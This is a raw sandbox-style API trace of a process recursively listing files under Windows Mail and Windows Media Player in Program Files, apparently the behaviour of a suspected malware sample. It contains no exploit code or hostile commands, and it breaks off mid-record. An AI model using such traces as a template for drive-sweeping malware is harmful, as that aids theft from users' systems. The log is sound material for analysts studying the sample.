[0259.170] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e96720, ftCreationTime.dwHighDateTime=0x1d5709a, ftLastAccessTime.dwLowDateTime=0xc0bbdc40, ftLastAccessTime.dwHighDateTime=0x1d5d8f2, ftLastWriteTime.dwLowDateTime=0xc0bbdc40, ftLastWriteTime.dwHighDateTime=0x1d5d8f2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 1 [0259.170] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5e96720, ftCreationTime.dwHighDateTime=0x1d5709a, ftLastAccessTime.dwLowDateTime=0xc0bbdc40, ftLastAccessTime.dwHighDateTime=0x1d5d8f2, ftLastWriteTime.dwLowDateTime=0xc0bbdc40, ftLastWriteTime.dwHighDateTime=0x1d5d8f2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="operamail.exe", cAlternateFileName="OPERAM~1.EXE")) returned 0 [0259.170] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.170] GetProcessHeap () returned 0x550000 [0259.170] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.170] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0259.170] GetProcessHeap () returned 0x550000 [0259.170] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.170] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Mail\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.188] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.188] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0259.188] GetProcessHeap () returned 0x550000 [0259.188] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Mail\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.189] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x229eba17, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe506d6c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe506d6c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe.mui", cAlternateFileName="")) returned 0 [0259.189] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.189] GetProcessHeap () returned 0x550000 [0259.189] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b530d7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b530d7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18b800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e00b0b6, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x9e00b0b6, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x6cf87540, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x2b4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOERES.dll", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b9f397, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3b9f397, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3b9f397, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oeimport.dll", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x879b1223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x879b1223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87a95a65, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab.exe", cAlternateFileName="")) returned 1 [0259.189] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a77900b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a77900b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb04ef6b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabfind.dll", cAlternateFileName="")) returned 1 [0259.190] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a1aba92, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a1aba92, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xb05167b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabimp.dll", cAlternateFileName="")) returned 1 [0259.190] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c2b2af4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8c2b2af4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x78aae250, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wabmig.exe", cAlternateFileName="")) returned 1 [0259.190] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 1 [0259.190] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8e771d9d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8e771d9d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x796bc150, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x60e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinMail.exe", cAlternateFileName="")) returned 0 [0259.191] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0259.191] GetProcessHeap () returned 0x550000 [0259.191] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0259.191] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbf11ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf11ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0259.191] GetProcessHeap () returned 0x550000 [0259.191] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0259.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbf11ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf11ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0259.191] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdbf11ce0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf11ce0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.191] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1914f060, ftCreationTime.dwHighDateTime=0x1d59b96, ftLastAccessTime.dwLowDateTime=0x6a464e90, ftLastAccessTime.dwHighDateTime=0x1d570e2, ftLastWriteTime.dwLowDateTime=0x6a464e90, ftLastWriteTime.dwHighDateTime=0x1d570e2, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="creditservice.exe", cAlternateFileName="CREDIT~1.EXE")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0259.192] GetProcessHeap () returned 0x550000 [0259.192] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\en-US\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21ca67c6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.dll.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xdc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMC.exe.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPDMCCore.dll.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdc7162, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfdc7162, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmplayer.exe.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMPMediaSharing.dll.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssci.dll.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 1 [0259.192] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmpnssui.dll.mui", cAlternateFileName="")) returned 0 [0259.193] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.193] GetProcessHeap () returned 0x550000 [0259.193] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.193] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbed30530, ftCreationTime.dwHighDateTime=0x1d59b7f, ftLastAccessTime.dwLowDateTime=0x35aab180, ftLastAccessTime.dwHighDateTime=0x1d5c650, ftLastWriteTime.dwLowDateTime=0x35aab180, ftLastWriteTime.dwHighDateTime=0x1d5c650, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0259.193] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0259.193] GetProcessHeap () returned 0x550000 [0259.193] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0259.193] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Media Player\\Icons\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0259.193] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.193] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0259.193] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0259.193] GetProcessHeap () returned 0x550000 [0259.194] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0259.194] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2f0fc10, ftCreationTime.dwHighDateTime=0x1d5e4e9, ftLastAccessTime.dwLowDateTime=0x90186770, ftLastAccessTime.dwHighDateTime=0x1d575b0, ftLastWriteTime.dwLowDateTime=0x90186770, ftLastWriteTime.dwHighDateTime=0x1d575b0, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="italian french participants.exe", cAlternateFileName="ITALIA~1.EXE")) returned 1 [0259.194] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81351db4, 